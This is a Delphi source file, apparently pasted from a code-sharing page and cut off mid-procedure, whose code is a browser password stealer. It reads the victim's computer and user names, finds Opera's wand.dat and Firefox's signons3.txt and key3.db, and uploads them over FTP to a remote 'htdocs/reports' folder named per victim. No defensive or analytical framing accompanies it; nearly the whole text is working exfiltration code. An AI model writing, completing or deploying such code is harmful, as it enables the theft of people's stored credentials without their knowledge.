- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
- 75
- 76
- 77
- 78
- 79
- 80
- 81
- 82
- 83
- 84
- 85
- 86
- 87
- 88
- 89
- 90
- 91
- 92
- 93
- 94
- 95
- 96
- 97
- 98
- 99
- 100
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
IdMessageClient, IdSMTP, StdCtrls, IdFTP,ShlObj,inifiles, ExtCtrls;
type
TForm1 = class(TForm)
IdFTP1: TIdFTP;
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
IniFile: TIniFile;
implementation
{$R *.dfm}
//==============================================================================
procedure RunOnce();
var f:TextFile;
begin
AssignFile(f,'C:\Windows\complite777.log');
Rewrite(f);
closefile(f);
end;
//==============================================================================
function GetUserName:string;
var
Buffer: array[0..MAX_PATH] of Char;
sz:DWord;
begin
sz:=MAX_PATH-1;
windows.GetUserName(Buffer,sz);
dec(sz);
SetString(Result,Buffer,sz);
end;
//==============================================================================
function GetComputerName:string;
var
S:string;
l:Cardinal;
begin
l:=256;
SetLength(S, l);
Windows.GetComputerName(PChar(S), l);
S:= Copy(S, 0, l);
Result:=S;
end;
//==============================================================================
procedure upload(cd,lf,ff:String);
begin
form1.IdFTP1.Connect(true,50000);
form1.IdFTP1.ChangeDir(cd);
form1.IdFTP1.put(lf,ff);
form1.IdFTP1.Disconnect;
end;
//==============================================================================
function GetSpecialPath(CSIDL: word): string;
var
s:string;
begin
SetLength(s, MAX_PATH);
SHGetSpecialFolderPath(0, PChar(s), CSIDL, true);
result:=PChar(s);
end;
//==============================================================================
procedure get_opp();
var
op:String;
begin
op:=GetSpecialPath($001a)+'\Opera\Opera\profile\wand.dat';
If (not FileExists(op)) Then application.Terminate
else
upload('htdocs/reports/'+GetComputerName+'_'+GetUserName+'_'+DateToStr(Date)+'/pd',op,'wand.dat');
end;
//==============================================================================
procedure get_ffp();
var
fp,fpg,fpg2,rpl:string;
begin
fp:=GetSpecialPath($001a)+'\Mozilla\Firefox\profiles.ini';
IniFile:=TIniFile.Create(fp);
fpg:=IniFile.ReadString('Profile0','Path','');
rpl:=StringReplace(fpg,'/','\',[rfReplaceAll, rfIgnoreCase]);
fp:=GetSpecialPath($001a)+'\Mozilla\Firefox\';
fpg:=fp+rpl+'\signons3.txt';
fpg2:=fp+rpl+'\key3.db';
If (not FileExists(fpg)) Then get_opp()
else
upload('htdocs/reports/'+GetComputerName+'_'+GetUserName+'_'+DateToStr(Date)+'/pd',fpg,'signons3.txt');
upload('htdocs/reports/'+GetComputerName+'_'+GetUserName+'_'+DateToStr(Date)+'/pd',fpg2,'key3.db');
LOL